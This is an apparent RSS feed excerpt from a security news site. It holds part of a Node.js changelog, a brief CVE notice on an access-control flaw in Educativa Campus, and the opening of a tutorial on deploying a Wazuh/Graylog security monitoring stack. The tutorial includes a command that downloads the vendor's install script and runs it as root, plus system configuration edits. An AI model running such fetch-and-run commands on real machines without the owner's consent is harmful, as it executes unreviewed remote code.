<li>[<a href="https://github.com/nodejs/node/commit/d0d19bd8e3"><code>d0d19bd8e3</code></a>] - <strong>test</strong>: update WPT for streams to f8f26a372f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62864/hovercard">#62864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f50ac5bc78"><code>f50ac5bc78</code></a>] - <strong>test</strong>: improve config-file permission test coverage (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60929/hovercard">#60929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0f90000f4"><code>a0f90000f4</code></a>] - <strong>test</strong>: export isRiscv64 from common module (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62609/hovercard">#62609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da4dd8646f"><code>da4dd8646f</code></a>] - <strong>test</strong>: normalize known inspector crash as completion (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62851" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62851/hovercard">#62851</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fdd94a4c"><code>b7fdd94a4c</code></a>] - <strong>test</strong>: account for RFC 7919 FFDHE negotiation in OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/375a993aaf"><code>375a993aaf</code></a>] - <strong>test</strong>: skip tls-deprecated secp256k1 on OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/698d8287d1"><code>698d8287d1</code></a>] - <strong>test</strong>: use an always invalid cipher and cover OpenSSL 4.0 behaviours (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/036bc6f300"><code>036bc6f300</code></a>] - <strong>test</strong>: use valid DER OCSP responses (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3aa9938da8"><code>3aa9938da8</code></a>] - <strong>test</strong>: skip test-tls-error-stack when engines are unsupported (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/947f1ae246"><code>947f1ae246</code></a>] - <strong>test</strong>: accept renamed OpenSSL 4.0 error code and reason (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/afdd355622"><code>afdd355622</code></a>] - <strong>test</strong>: update test/addons/openssl-binding for OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8637524a99"><code>8637524a99</code></a>] - <strong>test</strong>: mark test-snapshot-reproducible flaky (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62808" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62808/hovercard">#62808</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c22d34134b"><code>c22d34134b</code></a>] - <strong>test</strong>: check contextify contextual store behavior in strict mode (René) <a href="https://github.com/nodejs/node/pull/62571" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62571/hovercard">#62571</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b4e0d3c94"><code>0b4e0d3c94</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85d83c2cdb"><code>85d83c2cdb</code></a>] - <strong>test</strong>: ensure WPT report is in out/wpt (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62637" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62637/hovercard">#62637</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e21711c60"><code>9e21711c60</code></a>] - <strong>test</strong>: improve WPT runner summary (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62636/hovercard">#62636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e04e2c9ac1"><code>e04e2c9ac1</code></a>] - <strong>test</strong>: skip url WPT subtests instead of modifying test script (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62635/hovercard">#62635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b1211f88c"><code>7b1211f88c</code></a>] - <strong>test</strong>: capture negative utimes mtime at call time (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62490/hovercard">#62490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f1a6e9fcc7"><code>f1a6e9fcc7</code></a>] - <strong>test</strong>: allow skipping individual WPT subtests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62517/hovercard">#62517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/23f927542e"><code>23f927542e</code></a>] - <strong>test</strong>: use on-disk fixture for test-npm-install (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62584" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62584/hovercard">#62584</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4739c45879"><code>4739c45879</code></a>] - <strong>test</strong>: update WPT for url to 7a3645b79a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62591/hovercard">#62591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f68189b839"><code>f68189b839</code></a>] - <strong>test_runner</strong>: add <code>testId</code> to test events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62772/hovercard">#62772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c2770446e"><code>5c2770446e</code></a>] - <strong>test_runner</strong>: publish to TracingChannel for OTel instrumentation (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62502/hovercard">#62502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d14029be7f"><code>d14029be7f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f74a58979"><code>3f74a58979</code></a>] - <strong>test_runner</strong>: update node-config-schema (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/58680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58680/hovercard">#58680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60c83f6199"><code>60c83f6199</code></a>] - <strong>test_runner</strong>: fix failing suite hooks when marked with <code>todo</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63097" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63097/hovercard">#63097</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d142c584cd"><code>d142c584cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e72065ed6"><code>3e72065ed6</code></a>] - <strong>test_runner</strong>: fix suite rerun edge case (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62860" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62860/hovercard">#62860</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01a9552585"><code>01a9552585</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for AbortSignal.timeout (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd43efffa6"><code>dd43efffa6</code></a>] - <strong>test_runner</strong>: add passed, attempt, and diagnostic to SuiteContext (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a12dc445cc"><code>a12dc445cc</code></a>] - <strong>tools</strong>: add a check for clean git tree after tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62661/hovercard">#62661</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b49178375"><code>5b49178375</code></a>] - <strong>tools</strong>: use LTS Node.js in notify-on-push workflow (Nenad Spasenic) <a href="https://github.com/nodejs/node/pull/63084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63084/hovercard">#63084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a93bde5bb"><code>5a93bde5bb</code></a>] - <strong>tools</strong>: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63065/hovercard">#63065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b133019d19"><code>b133019d19</code></a>] - <strong>tools</strong>: simplify <code>update-undici.sh</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63044/hovercard">#63044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04d3538074"><code>04d3538074</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> on unrelated tools changes (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63037/hovercard">#63037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d396ac4a5"><code>4d396ac4a5</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62848/hovercard">#62848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9354bf40e7"><code>9354bf40e7</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62961/hovercard">#62961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c23db1ca85"><code>c23db1ca85</code></a>] - <strong>tools</strong>: fix commit linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62993" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62993/hovercard">#62993</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e097ee3f1"><code>6e097ee3f1</code></a>] - <strong>tools</strong>: consolidate and simplify .editorconfig deps section (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62887/hovercard">#62887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a47ea6d6ea"><code>a47ea6d6ea</code></a>] - <strong>tools</strong>: set bot as author of tools-deps-update PRs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62856" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62856/hovercard">#62856</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00e86f0471"><code>00e86f0471</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.4 to 5.0.5 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62458" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62458/hovercard">#62458</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd7e262e75"><code>cd7e262e75</code></a>] - <strong>tools</strong>: bump brace-expansion in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62467/hovercard">#62467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc1319bc8"><code>bfc1319bc8</code></a>] - <strong>tools</strong>: exclude @node-core/doc-kit from dependabot cooldown (Levi Zim) <a href="https://github.com/nodejs/node/pull/62775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62775/hovercard">#62775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a932fbd10b"><code>a932fbd10b</code></a>] - <strong>tools</strong>: re-enable undici WPTs in daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62677/hovercard">#62677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7bd9e3055"><code>f7bd9e3055</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62697/hovercard">#62697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c400d46d87"><code>c400d46d87</code></a>] - <strong>tools</strong>: improve backport review script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62573" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62573/hovercard">#62573</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be23b75814"><code>be23b75814</code></a>] - <strong>tools</strong>: improve output for unexpected passes in WTP tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62587" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62587/hovercard">#62587</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/609c013ece"><code>609c013ece</code></a>] - <strong>tools</strong>: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62627" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62627/hovercard">#62627</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/81bac1ebfd"><code>81bac1ebfd</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62552" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62552/hovercard">#62552</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1fee26522d"><code>1fee26522d</code></a>] - <strong>tools</strong>: allow triagers to queue a PR for CI until it's reviewed (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62524/hovercard">#62524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/332088f929"><code>332088f929</code></a>] - <strong>tools</strong>: do not run <code>commit-lint</code> on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62523/hovercard">#62523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a25fc8a4d"><code>9a25fc8a4d</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bd08ff60a"><code>7bd08ff60a</code></a>] - <strong>url</strong>: optimize URLSearchParams set/delete duplicate handling (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62266/hovercard">#62266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2d636388fa"><code>2d636388fa</code></a>] - <strong>url</strong>: align default argument handling for URLPattern with webidl (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62719/hovercard">#62719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00705a459a"><code>00705a459a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e2adb3e45"><code>0e2adb3e45</code></a>] - <strong>watch</strong>: track worker entry files in watch mode (SudhansuBandha) <a href="https://github.com/nodejs/node/pull/62368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62368/hovercard">#62368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c58fe38211"><code>c58fe38211</code></a>] - <strong>watch</strong>: fix --env-file-if-exists crashing on linux if the file is missing (Efe) <a href="https://github.com/nodejs/node/pull/61870" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61870/hovercard">#61870</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-3111 | Educativa Campus 14.05.00-35 thumb_AAxAA.jpg access control]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Educativa Campus 14.05.00-35. This impacts an unknown function of the file /archivos/usuarios/[ID]/[username]/thumb_AAxAA.jpg. The manipulation results in improper access controls.

This vulnerability was named CVE-2026-3111. The attack may be...]]></description>
<link>https://tsecurity.de/de/3530136/sicherheitsluecken/cve-2026-3111-educativa-campus-140500-35-thumbaaxaajpg-access-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530136/sicherheitsluecken/cve-2026-3111-educativa-campus-140500-35-thumbaaxaajpg-access-control/</guid>
<pubDate>Tue, 19 May 2026 19:38:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/educativa:campus">Educativa Campus 14.05.00-35</a>. This impacts an unknown function of the file <em>/archivos/usuarios/[ID]/[username]/thumb_AAxAA.jpg</em>. The manipulation results in improper access controls.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-3111">CVE-2026-3111</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Source Security IT Platform: Threat Detection, Logging, Alerts, AI and SSO integration.]]></title>
<description><![CDATA[A real-world implementation with Wazuh, Graylog, MongoDB, Grafana, Nginx, OAuth2-Proxy, Redis, AI and SSO — no licenses, no vendor lock-in.Managing IT infrastructure security without commercial tools is entirely possible. This documenting the implementation of a complete open source security plat...]]></description>
<link>https://tsecurity.de/de/3528497/hacking/open-source-security-it-platform-threat-detection-logging-alerts-ai-and-sso-integration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528497/hacking/open-source-security-it-platform-threat-detection-logging-alerts-ai-and-sso-integration/</guid>
<pubDate>Tue, 19 May 2026 11:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>A real-world implementation with Wazuh, Graylog, MongoDB, Grafana, Nginx, OAuth2-Proxy, Redis, AI and SSO — no licenses, no vendor lock-in.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMOUaxSeMAE6VlSdtFrnJg.jpeg"></figure><p>Managing IT infrastructure security without commercial tools is entirely possible. This documenting the implementation of a complete open source security platform, deployed in production.</p><p>This is not a generic tutorial. It’s a guide based on real decisions, and an architecture that runs in production today.</p><h3>What problem does this platform solve?</h3><p>In any organization, visibility into what’s happening on servers tends to be fragmented: logs are scattered across different locations, alerts don’t arrive in real time, and each system has its own credentials. The result is an IT team that reacts instead of anticipating.</p><p>This platform centralizes three critical capabilities:</p><ul><li><strong>Threat detection</strong> — Wazuh monitors security events, file integrity, and system behavior in real time.</li><li><strong>Log management</strong> — Graylog receives, indexes, alerts, and allows querying all infrastructure logs from a single point.</li><li><strong>Operational visualization</strong> — Grafana delivers real-time dashboards.</li></ul><p>All of this is accessible through <strong>a single sign-on</strong> using the corporate account, thanks to OAuth2-Proxy.</p><h3>The architecture in brief</h3><p>The solution is built on five layers:</p><p><strong>Detection layer:</strong> Wazuh acts as the SIEM/XDR engine. It analyzes events, correlates alerts, and generates notifications. These events/alerts are sent to Graylog via Fluent Bit.</p><p><strong>Transport layer:</strong> Fluent Bit reads Wazuh events and forwards them to Graylog over RAW TCP. It’s lightweight, efficient, and highly configurable.</p><p><strong>Log management layer:</strong> Graylog parses the JSON data, indexes all events, enables natural language searches, and exposes an Bridge that we later integrate with Claude via MCP.</p><p><strong>Visualization layer:</strong> Grafana connects to Wazuh as a datasource and presents data in real-time operational dashboards.</p><p><strong>Access layer:</strong> Nginx acts as a reverse proxy with TLS ar HTTP header-based authentication. OAuth2-Proxy validates user identity against OIDC and propagates it to each application. Redis stores the sessions.</p><h3>Technology stack</h3><p>The entire stack is open source and runs on a single Linux server:</p><ul><li>Ubuntu 26.04 LTS</li><li>Wazuh v4.14.5</li><li>Graylog v7.1.0</li><li>MongoDB v7.0</li><li>Grafana v13.0.1</li><li>OAuth2-Proxy v7.15.2</li><li>Fluent Bit v5.0.5</li><li>Nginx v1.28.3</li><li>Redis v8.0.5</li></ul><p><strong>Hardware:</strong> Minimum 8 CPU cores, 16 GB RAM <br><strong>Storage:</strong> Dedicated LVM volumes (OS, data and logs separated)</p><h3>Why this design?</h3><p>Two architectural decisions deserve explanation:</p><p><strong>Separate LVM volumes.</strong> The operating system, application data, and logs live on independent partitions. If logs grow out of control, they don’t affect the OS or application data. Scaling log storage is as simple as expanding the corresponding volume.</p><p><strong>A single authentication point.</strong> Instead of managing users and passwords separately, OAuth2-Proxy delegates all authentication to IdP. The user logs in once and accesses all three systems. Local credentials are eliminated from the lifecycle.</p><h3>What’s coming in the next articles</h3><p>This series covers the complete implementation, component by component:</p><ol><li><strong>Introduction and architecture</strong> ← you are here</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#2776">Wazuh</a> — SIEM/XDR</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#8987">MongoDB</a> — Graylog’s DB</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#a640">Graylog</a> — Log management, data input, alerts</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#f229">Fluent Bit</a> — Log shipper</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#014b">Grafana</a> — Real-Time Operational Dashboards</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#4874">OAuth2-Proxy</a> — Single Sign-On with IdP (Identity Provider)</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#3b56">Redis</a> — Session Persistence and Storage</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#b390">Nginx</a> — Reverse Proxy with TLS and Header-Based Authentication</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#fcdf">Troubleshooting Guide</a></li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#938b">Authentication </a>— Four steps: SSO and intregation Graylog with Wazuh</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#e3ed">Graylog Ingest</a> — Configuring Data Ingest from Fluent Bit</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#6a74">Graylog MCP + Claude</a> — Querying logs in natural language with AI</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#48e5">Final architecture, evidences, and conclusions</a></li></ol><p>Each article includes the exact commands used in production.</p><p>Recommendation: Create a working directory. In some sections, we jump to different directories cd; after each step, return to the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*469jrtAPhs6EMetM.png"></figure><h3>Wazuh: SIEM/XDR</h3><p><strong><em>Part 2</em></strong></p><p>This article covers the foundation of the entire stack: the server where the platform lives, and the installation and configuration of Wazuh — the SIEM/XDR engine that detects and correlates security events in real time.</p><p><strong>The server platform<br></strong>Before installing any component, it’s worth explaining the storage decision. We use <strong>separate LVM volumes</strong> for the operating system, application data, and logs:</p><p>Volume Size Path Operating system 60 GB / Data 150 GB /data Logs 20 GB /log Swap 4 GB — estimate sizes based on own infrastructure.</p><p><strong>Why this separation?</strong> If logs grow out of control — and they will — they don’t affect the operating system or application data. Scaling log storage is as simple as expanding the /log volume without touching anything else. The same logic applies to application data in /data.</p><p><strong>Wazuh: the detection engine<br></strong>Wazuh is an open source SIEM (Security Information and Event Management) and XDR (Extended Detection and Response) platform. In practical terms, it continuously monitors system events, correlates alerts, detects file integrity issues, access anomalies, and much more.</p><p>In this implementation, Wazuh serves two roles:</p><ol><li><strong>Detection</strong> — analyzes operating system and service events.</li><li><strong>Export</strong> — generates alerts in JSON format that Fluent Bit forwards to Graylog.</li></ol><h3>Installation</h3><p>Wazuh’s installation is notable for its simplicity: a single script handles the entire stack (Wazuh Manager, Indexer, and Dashboard).</p><pre>curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh &amp;&amp; bash ./wazuh-install.sh -a</pre><blockquote><strong><em>Info: </em></strong>Despite the compatibility information, it works without problems with Ubuntu 26.04.</blockquote><blockquote>“The recommended systems are: Red Hat Enterprise Linux 7, 8, 9; CentOS 7, 8; Amazon Linux 2; Amazon Linux 2023; Ubuntu 16.04, 18.04, 20.04, 22.04; Rocky Linux 9.4”</blockquote><blockquote><strong><em>Test environments:</em></strong><em> If the server doesn’t meet the minimum hardware requirements (4 GB RAM, 2 CPU cores), add the </em><em>-i argument to skip the validation.</em></blockquote><h3>Configuration</h3><p>The Wazuh installer places its data in default paths /var/lib/wazuh-indexer, /var/ossec/logs. We need to mount bind them to our LVM volumes while keeping the original paths functional.</p><pre># Stop services<br><br>systemctl stop wazuh-indexer wazuh-dashboard wazuh-manager filebeat</pre><p>Filebeat is included in the Wazuh installation but we’ll replace it with Fluent Bit, which is lighter and more flexible for forwarding events to Graylog.</p><pre># Disable Filebeat<br><br>systemctl disable filebeat</pre><pre># Create directory structure<br><br>mkdir -p /data/wazuh-indexer/lib /log/wazuh-indexer /data/wazuh/ossec/logs</pre><pre># Assign permissions to the service user and files<br><br>chown wazuh-indexer:wazuh-indexer /data/wazuh-indexer/lib /log/wazuh-indexer<br>chown wazuh:wazuh /data/wazuh/ossec/logs<br>chmod 770 /data/wazuh/ossec/logs </pre><pre># Move existing content<br><br>mv /var/lib/wazuh-indexer/* /data/wazuh-indexer/lib/<br>mv /var/ossec/logs/* /data/wazuh/ossec/logs/</pre><p><strong>Mount with bind — preserving original paths</strong></p><p>The key is using bind mounts: services continue using their default paths, but the actual storage is on the LVM volumes. This avoids modifying Wazuh’s internal configuration.</p><blockquote>Evaluate:<br>With “nofails” the server will start even if the mounts fail, but the services will fail. <br>Omitting “nofails” will start in emergency mode.</blockquote><pre>echo "/data/wazuh/ossec/logs /var/ossec/logs none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/data/wazuh-indexer/lib /var/lib/wazuh-indexer none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/wazuh-indexer /var/log/wazuh-indexer none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Compatibility adjustment for Graylog</strong></p><p>Wazuh Indexer uses OpenSearch with an option that, by default, forces another version for Filebeat compatibility.</p><pre># /etc/wazuh-indexer/opensearch.yml - Comment out<br><br>#compatibility.override_main_response_version: true</pre><blockquote><strong><em>About the Dashboard warning:</em></strong> When connecting Graylog, the Wazuh Dashboard may display a warning about 